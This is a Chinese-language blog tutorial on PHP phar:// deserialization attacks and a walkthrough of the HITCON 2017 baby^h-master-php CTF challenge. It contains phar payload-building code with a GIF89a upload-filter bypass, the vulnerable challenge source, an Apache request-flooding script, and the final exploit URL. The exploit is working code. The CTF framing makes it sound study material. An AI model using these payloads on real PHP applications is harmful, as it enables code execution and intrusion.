Phar协议与反序列化漏洞
phar协议
phar:// 主要以前见过的还是本地文件包含。
?file=phar://../avatar.gif/shell.php
包含avatar.gif(本来是个zip或者phar文件改了后缀上传)中的shell.php文件。但这篇博客主要是讲解利用phar协议造成反序列化漏洞。
漏洞原理
phar文件本质上是一种压缩文件,在使用phar协议文件包含时,也是可以直接读取zip文件的。使用phar://协议读取文件时,文件会被解析成phar对象,phar对象内的以序列化形式存储的用户自定义元数据(metadata)信息会被反序列化。这就引出了我们攻击手法最核心的流程。
构造phar(元数据中含有恶意序列化内容)文件-->上传-->触发反序列化
最后一步是寻找触发phar文件元数据反序列化。其实php中有一大部分的文件系统函数在通过phar://伪协议解析phar文件时都会将meta-data进行反序列化。

漏洞测试
假如我们现在有这么一份代码
<?php
class User {
public $name;
public function __destruct() {
echo $this->name;
}
}
$filename = 'phar://phar.phar/test.txt';
file_get_contents($filename);
?>
我们有一个file_get_contents函数可以触发phar://协议解析phar文件时,将其中的元数据反序列化。
生成phar文件
首先得生成一个含有序列化metadata的phar文件。php提供一个类允许我们处理phar文件相关操作。注意要将php.ini中的phar.readonly选项设置为Off。
<?php
class User {
Public $name;
}
@unlink("phar.phar");
$phar = new Phar("phar.phar"); //后缀名必须为phar,生成后可以随意修改
$phar->startBuffering();
$phar->setStub("<?php __HALT_COMPILER(); ?>"); //设置stub
$o = new User();
$o->name = 'JrXnm';
$phar->setMetadata($o); //将自定义的meta-data存入manifest
$phar->addFromString("test.txt", "test"); //添加要压缩的文件
//签名自动计算
$phar->stopBuffering();
?>
将phar文件上传到服务器
phar文件是很容易绕过上传限制的,首先它的后缀是不限制的,改成什么phar://协议都可以解析。
而且,我们来看一下上小结生成的phar文件

我们不但看到了元数据,我们还在开头看到了<?php xxx; __HALT_COMPILER();?>
这样子的代码,这就对应生成phar文件代码中的$phar->setStub("<?php __HALT_COMPILER(); ?>");
可以理解为这时phar文件的一个标志,否则phar扩展无法识别这个文件为phar文件。
但实验证明,前面这个标志的格式为xxx<?php xxx; __HALT_COMPILER();?>
前面内容不限,这样我们就可以在前面添加注入'GIF98a'这样的文件头绕过上传限制。
反序列化执行
以上步骤都完成了的话,直接执行我们测试的那份代码,phar://协议在file_get_contents函数中解析phar文件,将元数据反序列化执行魔法函数。

一道CTF题继续理解漏洞利用
hitcon2017baby^h-master-php-2017
就用这个知识点出题了,只是在那个时候这个漏洞还相当于是个0day,hitcon这道题当时比赛的时候据说也是0解(当然这道题也不止利用了这一个知识点)。
本题现在可以通过i春秋平台复现,地址:http://117.50.3.97:8005
<?php
$FLAG = create_function("", 'die(`/read_flag`);');
$SECRET = `/read_secret`;
$SANDBOX = "/var/www/data/" . md5("orange" . $_SERVER["REMOTE_ADDR"]);
@mkdir($SANDBOX);
@chdir($SANDBOX);
if (!isset($_COOKIE["session-data"])) {
$data = serialize(new User($SANDBOX));
$hmac = hash_hmac("sha1", $data, $SECRET);
setcookie("session-data", sprintf("%s-----%s", $data, $hmac));
}
class User {
public $avatar;
function __construct($path) {
$this->avatar = $path;
}
}
class Admin extends User {
function __destruct() {
$random = bin2hex(openssl_random_pseudo_bytes(32));
eval("function my_function_$random() {"
. " global \$FLAG; \$FLAG();"
. "}");
$_GET["lucky"]();
}
}
function check_session() {
global $SECRET;
$data = $_COOKIE["session-data"];
list($data, $hmac) = explode("-----", $data, 2);
if (!isset($data, $hmac) || !is_string($data) || !is_string($hmac)) {
die("Bye");
}
if (!hash_equals(hash_hmac("sha1", $data, $SECRET), $hmac)) {
die("Bye Bye");
}
$data = unserialize($data);
if (!isset($data->avatar)) {
die("Bye Bye Bye");
}
return $data->avatar;
}
function upload($path) {
$data = file_get_contents($_GET["url"] . "/avatar.gif");
if (substr($data, 0, 6) !== "GIF89a") {
die("Fuck off");
}
file_put_contents($path . "/avatar.gif", $data);
die("Upload OK");
}
function show($path) {
if (!file_exists($path . "/avatar.gif")) {
$path = "/var/www/html";
}
header("Content-Type: image/gif");
die(file_get_contents($path . "/avatar.gif"));
}
$mode = $_GET["m"];
if ($mode == "upload") {
upload(check_session());
} else if ($mode == "show") {
show(check_session());
} else {
highlight_file(__FILE__);
}
分析代码
代码一开始创建了一个读flag的匿名函数,并且初始化了沙箱。
$FLAG = create_function("", 'die(`/read_flag`);');
$SECRET = `/read_secret`;
$SANDBOX = "/var/www/data/" . md5("orange" . $_SERVER["REMOTE_ADDR"]);
@mkdir($SANDBOX);
@chdir($SANDBOX);
代码中有两个类User、Admin,Admin继承自User。而且在Admin类中的魔法函数中存在eval()函数和$_GET["lucky"]();
eval函数里面定义了一个函数,运行这个函数也能拿到flag,这样就可以利用lucky输入函数名调用函数。虽然在check_session函数中也存在反序列化操作,但是有很强的限制,实际上它就是一个干扰,我们是无法通过check_session中的反序列化操作反序列化我们自己的序列化数据的。
经观察,这题还有一个upload函数,我们可以通过这个upload函数上传phar文件。其中只有一个限制,就是文件开头必须为'GIP89a',我们可以按照上面的方法修改phar文件前6个字节为'GIF89a'。再次访问时,利用file_get_contents函数反序列化我们注入phar文件元数据的序列化Admin类。然后执行Admin魔法函数里面的代码。
function upload($path) {
$data = file_get_contents($_GET["url"] . "/avatar.gif");
if (substr($data, 0, 6) !== "GIF89a") {
die("Fuck off");
}
file_put_contents($path . "/avatar.gif", $data);
die("Upload OK");
}
做到这与我们本篇博客相关的知识已经用完,但其实这道题并没有做完。在Admin类中eval中的函数名是随机的,我们无法预测$random的值的话,就无法使用$_GET["lucky"]();
调用该函数。
$random = bin2hex(openssl_random_pseudo_bytes(32));
eval("function my_function_$random() {"
. " global \$FLAG; \$FLAG();"
. "}");
$_GET["lucky"]();
其实,php中的匿名函数还是有名字的, 格式为\0lambda_%d
%d格式化为本进程第n个匿名函数。 我们如果能找到代码第一行创建的读flag匿名函数的名字,那我们可以在$_GET["lucky"]();
中直接调用它,拿到flag。
这就涉及到另一个知识点:
Apache-prefork模型(默认模型)在接受请求后会如何处理,首先Apache会默认生成5个child server去等待用户连接, 默认最高可生成256个child server, 这时候如果用户大量请求, Apache就会在处理完MaxRequestsPerChild个tcp连接后kill掉这个进程,开启一个新进程处理请求。
当开启新进程时,那么我们在第一行创建的匿名函数应该是第一个匿名函数。那么我们就可以通过lucky=%00lambda_1访问到该函数。
开始利用
- 生成符合要求的phar文件放到自己的vps中。
- 请求?m=upload&url=http://xxx.xxx.xxx.xxx (将phar文件上传到赛题服务器)
- 大量请求赛题服务器,使得获取flag的函数为%00lambda_1
生成phar文件
<?php
class Admin {
Public $avatar;
}
@unlink("phar.phar");
$phar = new Phar("phar.phar"); //后缀名必须为phar,生成后可以随意修改
$phar->startBuffering();
$phar->setStub("GIF89a<?php __HALT_COMPILER(); ?>"); //设置stub
$o = new Admin();
$o->avatar = 'xxx'; //随便填写
$phar->setMetadata($o); //将自定义的meta-data存入manifest
$phar->addFromString("test.txt", "test"); //添加要压缩的文件
//签名自动计算
$phar->stopBuffering();
?>
本地生成后,修改名称为avatar.gif上传到vps,然后访问?m=upload&url=http://xxx.xxx.xxx.xxx 可以看到Upload OK
大量请求apache
这一点Orange大佬已经给出了。
# coding: UTF-8
# Author: orange@chroot.org
#
import requests
import socket
import time
from multiprocessing.dummy import Pool as ThreadPool
try:
requests.packages.urllib3.disable_warnings()
except:
pass
def run(i):
while 1:
HOST = '117.50.3.97'
PORT = 8005
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((HOST, PORT))
s.sendall('GET / HTTP/1.1\nHost: 54.238.212.199\nConnection: Keep-Alive\n\n')
# s.close()
print 'ok'
time.sleep(0.5)
i = 8
pool = ThreadPool( i )
result = pool.map_async( run, range(i) ).get(0xffff)
~
获取flag
访问http://117.50.3.97:8005/?m=upload&url=phar:///var/www/data/05840bcb0eaf84ae56ded3b9ea49cabc&lucky=%00lambda_1 就可以拿到了flag了。注意后面的地址要根据自己的ip生成。
